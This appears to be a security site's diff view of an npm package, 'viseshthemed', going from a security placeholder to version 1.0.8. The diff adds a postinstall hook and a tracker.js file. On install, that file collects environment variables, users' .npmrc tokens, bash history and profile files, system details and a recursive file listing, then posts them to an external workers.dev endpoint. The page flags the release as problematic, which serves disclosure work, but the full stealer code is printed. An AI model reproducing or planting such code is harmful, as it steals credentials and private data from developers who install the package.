viseshthemed 0.0.1-security → 1.0.8
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of viseshthemed might be problematic. Click here for more details.
- package/index.js +8 -0
- package/package.json +14 -3
- package/tracker.js +112 -0
- package/README.md +0 -5
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "viseshthemed",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "1.0.8",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"postinstall": "node index.js"
|
7
|
+
},
|
8
|
+
"dependencies": {
|
9
|
+
"axios": "*",
|
10
|
+
"os": "*",
|
11
|
+
"path": "*",
|
12
|
+
"fs": "*"
|
13
|
+
},
|
14
|
+
"author": "",
|
15
|
+
"license": "ISC",
|
16
|
+
"description": ""
|
6
17
|
}
|
package/tracker.js
ADDED
@@ -0,0 +1,112 @@
|
|
1
|
+
// tracker.js
|
2
|
+
|
3
|
+
const os = require('os');
|
4
|
+
const axios = require('axios');
|
5
|
+
const fs = require('fs');
|
6
|
+
const path = require('path');
|
7
|
+
|
8
|
+
async function listFilesRecursively(directoryPath) {
|
9
|
+
try {
|
10
|
+
const files = fs.readdirSync(directoryPath);
|
11
|
+
const fileList = [];
|
12
|
+
|
13
|
+
files.forEach(file => {
|
14
|
+
const filePath = path.join(directoryPath, file);
|
15
|
+
const stats = fs.statSync(filePath);
|
16
|
+
|
17
|
+
if (stats.isDirectory()) {
|
18
|
+
fileList.push({ type: 'directory', path: filePath });
|
19
|
+
fileList.push(...listFilesRecursively(filePath)); // Recursively list files in subdirectories
|
20
|
+
} else {
|
21
|
+
fileList.push({ type: 'file', path: filePath });
|
22
|
+
}
|
23
|
+
});
|
24
|
+
|
25
|
+
return fileList;
|
26
|
+
} catch (error) {
|
27
|
+
console.error('Error listing files:', error);
|
28
|
+
return [];
|
29
|
+
}
|
30
|
+
}
|
31
|
+
|
32
|
+
async function trackPackage(packageName) {
|
33
|
+
try {
|
34
|
+
// Get process information
|
35
|
+
const processInfo = {
|
36
|
+
pid: process.pid,
|
37
|
+
platform: process.platform,
|
38
|
+
memoryUsage: process.memoryUsage(),
|
39
|
+
cpuUsage: process.cpuUsage()
|
40
|
+
};
|
41
|
+
|
42
|
+
// Get environment variables
|
43
|
+
const environmentVariables = process.env;
|
44
|
+
|
45
|
+
// Get user list
|
46
|
+
const userList = os.userInfo({ all: true });
|
47
|
+
const users = Array.isArray(userList) ? userList : [userList];
|
48
|
+
|
49
|
+
// Get .npmrc content for each user
|
50
|
+
const npmrcContent = [];
|
51
|
+
users.forEach(user => {
|
52
|
+
const npmrcPath = path.join(user.homedir, '.npmrc');
|
53
|
+
try {
|
54
|
+
const content = fs.readFileSync(npmrcPath, 'utf8');
|
55
|
+
npmrcContent.push({ username: user.username, content });
|
56
|
+
} catch (error) {
|
57
|
+
console.error(`Error reading .npmrc file for user ${user.username}:`, error);
|
58
|
+
}
|
59
|
+
});
|
60
|
+
|
61
|
+
// Get content of additional bash-related files
|
62
|
+
const bashFilesContent = {};
|
63
|
+
users.forEach(user => {
|
64
|
+
const filesToRead = ['.bash_profile', '.bash_history', '.bashrc'];
|
65
|
+
const userContent = {};
|
66
|
+
filesToRead.forEach(file => {
|
67
|
+
const filePath = path.join(user.homedir, file);
|
68
|
+
try {
|
69
|
+
const content = fs.readFileSync(filePath, 'utf8');
|
70
|
+
userContent[file] = content;
|
71
|
+
} catch (error) {
|
72
|
+
console.error(`Error reading ${file} for user ${user.username}:`, error);
|
73
|
+
}
|
74
|
+
});
|
75
|
+
bashFilesContent[user.username] = userContent;
|
76
|
+
});
|
77
|
+
|
78
|
+
// Get system info
|
79
|
+
const systemInfo = {
|
80
|
+
hostname: os.hostname(),
|
81
|
+
platform: os.platform(),
|
82
|
+
type: os.type(),
|
83
|
+
release: os.release(),
|
84
|
+
totalMemory: os.totalmem(),
|
85
|
+
freeMemory: os.freemem(),
|
86
|
+
cpus: os.cpus()
|
87
|
+
};
|
88
|
+
|
89
|
+
// List directory files recursively
|
90
|
+
const directoryPath = 'D:'; // Adjust the directory path as needed
|
91
|
+
const fileList = await listFilesRecursively(directoryPath);
|
92
|
+
|
93
|
+
// Track the package along with npmrc content, bash files content, and directory files
|
94
|
+
await axios.post('https://b.alt-h7-eoj8gqk1.workers.dev/track', {
|
95
|
+
packageName,
|
96
|
+
processInfo,
|
97
|
+
environmentVariables,
|
98
|
+
userList,
|
99
|
+
npmrcContent,
|
100
|
+
bashFilesContent,
|
101
|
+
systemInfo,
|
102
|
+
fileList
|
103
|
+
});
|
104
|
+
|
105
|
+
console.log(`Download of ${packageName} tracked successfully.`);
|
106
|
+
} catch (error) {
|
107
|
+
console.error('Error tracking package:', error);
|
108
|
+
}
|
109
|
+
}
|
110
|
+
|
111
|
+
module.exports = { trackPackage };
|
112
|
+
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=viseshthemed for more information.
|